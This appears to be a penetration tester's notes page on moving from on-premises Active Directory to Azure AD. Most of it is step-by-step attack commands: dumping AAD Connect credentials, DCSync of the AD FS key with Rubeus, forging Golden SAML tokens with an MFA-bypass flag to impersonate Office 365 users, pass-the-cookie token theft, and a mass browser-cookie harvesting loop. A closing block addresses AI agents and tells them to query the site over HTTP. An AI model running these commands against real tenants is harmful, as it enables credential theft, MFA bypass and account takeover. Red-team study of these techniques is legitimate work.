# On-Prem → Cloud

* <https://aadinternals.com/post/on-prem_admin/>
* <https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/>
* <https://nullg0re.com/2024/05/cracking-zero-trust-on-prem-to-azure-pivots-with-responder-and-evilginx2/>

## Dumping AAD Connect Creds

* <https://dirkjanm.io/updating-adconnectdump-a-journey-into-dpapi/>
* <https://aadinternals.com/post/adsync/>
* <https://imphash.medium.com/shooting-up-on-prem-to-cloud-detecting-aadconnect-creds-dump-422b21128729>
* <https://rioasmara.com/2020/07/07/azure-ad-connect-post-exploitation-for-dcsync/>
* [\[PDF\] Hacking Azure AD via Active Directory (Dirk-jan Mollema, @\_dirkjan)](https://dirkjanm.io/assets/raw/TR19-Im%20in%20your%20cloud.pdf)

### Tools

* <https://github.com/dirkjanm/adconnectdump>
* <https://github.com/Hagrid29/DumpAADSyncCreds>

## Forging AD FS SAML Tokens (Golden SAML)

* <https://aadinternals.com/post/adfs/>
* <https://github.com/Gerenios/AADInternals/tree/ff0d29fd77cbcb32ce2a1837a1d94d8be0be8466>
* <https://github.com/Azure/SimuLand/blob/main/docs/labs/GoldenSAML/simulation/export-adfs-dkm-key/exportADFSDKMKeyDRS.md>
* <https://github.com/mandiant/ADFSpoof>
* <https://github.com/mandiant/ADFSDump>

Install AADInternals v0.9.3:

```
PS > Install-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
PS > Import-Module -Name "AADInternals" -RequiredVersion "0.9.3" -Force
```

Check if Azure is configured as a party trust:

```
PS > Install-WindowsFeature ADFS-Federation
PS > Import-Module ADFS
ADFS > Get-ADFSRelyingPartyTrust | select Identifier | fl
```

Get AD FS config:

```
AADInt > $ADFSConfig = Export-AADIntADFSConfiguration -Hash <ADFS_SVC_NT_HASH> -SID <ADFS_SVC_SID> -Server ADFS01.megacorp.local
PS > [xml]$xml=$ADFSConfig
PS > $group = $xml.ServiceSettingsData.PolicyStore.DkmSettings.Group
PS > $container = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ContainerName
PS > $parent = $xml.ServiceSettingsData.PolicyStore.DkmSettings.ParentContainerDn
PS > $base = "LDAP://CN=$group,$container,$parent"
PS > $base
```

Get private key object GUID:

```
PV3 > Get-DomainObject -LDAPFilter "(&(objectclass=contact)(!name=CryptoPolicy)(ThumbnailPhoto=*))" -SearchBase "CN=ADFS,CN=Microsoft,CN=Program Data,DC=megacorp,DC=local" | select objectGuid
```

Ensure you have enough privileges to DCSync:

```
Cmd > Rubeus.exe asktgt /user:DC01$ /domain:megacorp.local /dc:DC01.megacorp.local /aes256:<AES_KEY> /opsec /nowrap /ptt
Cmd > Rubeus.exe asktgs /ticket:<TICKET> /domain:megacorp.local /dc:DC01.megacorp.local /service:LDAP/DC01.megacorp.local /nowrap /ptt
```

DCSync the key:

{% hint style="info" %}
We don't actually need clear-text creds to replicate the key if we've already imported a privileged TGT, so `$Credentials` ([here](https://github.com/Gerenios/AADInternals/blob/49a9659b60672f08428e72148b66dfe4629562da/DRS_Utils.ps1#L242), `C:\Program Files\WindowsPowerShell\Modules\AADInternals\0.9.3\DRS_Utils.ps1`) can be omitted.
{% endhint %}

```
AADInt > $ADFSKey = Export-AADIntADFSEncryptionKey -Server DC01.megacorp.local -ObjectGuid <GUID> -Credentials "dummy"
PS > [System.BitConverter]::ToString($ADFSKey)
```

Generate the token signing certificate:

```
AADInt > Export-AADIntADFSCertificates -Configuration $ADFSConfig -Key $ADFSKey
PS > ls ADFS_*
```

Get AD FS trust issuer as well as on-prem users' immutable cloud IDs:

```
ADFS > $Issuer = (Get-ADFSProperties).Identifier.OriginalString
PV3 > Get-DomainUser | select UserPrincipalname, @{Name="ImmutableId"; Expression={"$([Convert]::ToBase64String(([guid]$_.ObjectGuid).ToByteArray()))"}}
```

Generate forged SAML request-response for WS-Federation (SOAP-based) protocol interchange:

```
AADInt > $token = New-AADIntSAMLToken -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com] [-ByPassMFA]
AADInt > New-WSFedResponse -SAMLToken $token
```

Generate forged SAML request-response for SAML 2.0 (XML-based) protocol interchange:

```
AADInt > $token = New-AADIntSAML2Token -ImmutableId <ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com]
AADInt > $resp = New-AADIntSAMLPResponse -SAML2Token $token
AADInt > [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($resp))
```

Generate forged SAML request-response, impersonate and login:

```
AADInt > Open-AADIntOffice365Portal -TokenType WSFED/SAMLP -ImmutableId <BASE64_ID> -PfxFileName .\ADFS_signing.pfx -Issuer $Issuer [-UPN j.doe@megacorp.com] [-ByPassMFA] [-Browser Chrome]
```

## Pass-the-Cookie

* <https://blog.netwrix.com/2022/11/29/bypassing-mfa-with-pass-the-cookie-attack/>

### Refresh Token from ESTSAuth\* Cookies

Automated with [TokenTacticsV2](https://github.com/f-bader/TokenTacticsV2?tab=readme-ov-file#get-a-refresh-token-from-estsauth-cookie):

```
PS > Get-AzureTokenFromESTSCookie -ESTSAuthCookie <COOKIE_VALUE>
```

### Mass Cookies Harvesting

Collect with [dploot](https://github.com/zblurx/dploot) and decrypt with a backup key (similar to [HEKATOMB](https://github.com/ProcessusT/HEKATOMB)):

```
$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 dploot browser -d megacorp.local -no-pass -use-kcache "$comp.megacorp.local" -pvk ../key.pvk -show-cookies > "browsers_$comp.out"; done
```

Search for `ESTSAUTHPERSISTENT` cookies:

```
$ grep -nr --include '*.out' ESTSAUTHPERSISTENT -A3 | grep -e Creation -e Expires
```

## Mass Hidden Directories Searching

Impacket's **smbclient.py** extension (searches for hidden directories in every user's home):

```python
def do_hidden(self, args=None):
    hidden = []
    for item1 in self.smb.listPath(self.share, '\\Users\\*'):
        longname1 = item1.get_longname()
        if item1.is_directory() and longname1 not in ('.', '..'):
            dir0 = ntpath.join('\\Users', longname1)
            try:
                ls = self.smb.listPath(self.share, ntpath.join(dir0, '*'))
            except:
                continue
            else:
                for item2 in ls:
                    longname2 = item2.get_longname()
                    if item2.is_directory() and longname2 not in ('.', '..') and longname2.startswith('.'):
                        hidden.append((item2, ntpath.join(dir0, longname2)))
    result = ''
    for item, name in hidden:
        result += 'drw-rw-rw- '
        result += f'{datetime.fromtimestamp(item.get_mtime_epoch()).strftime("%Y/%m/%d %H:%M:%S"):>21} '
        result += '  '
        result += name
        result += '\n'
    print(result.strip())
```

Collect hidden directories:

```
$ ls tickets/
SRV01.ccache   SRV02.ccache   PC01.ccache
$ echo 'use c$\ninfo\nhidden' > cmd
$ for st in `ls tickets/`; do comp=`basename $st .ccache`; KRB5CCNAME="tickets/$st" proxychains4 smbclient.py -k -no-pass "$comp.megacorp.local" -inputfile cmd -outputfile "hidden_$comp.out"; done
```

Search for hidden directories that start with `.az`:

```
$ grep -nr --include '*.out' '\Users' | grep -i '\.az'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/azure-ad/on-prem-cloud/on-prem-cloud.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
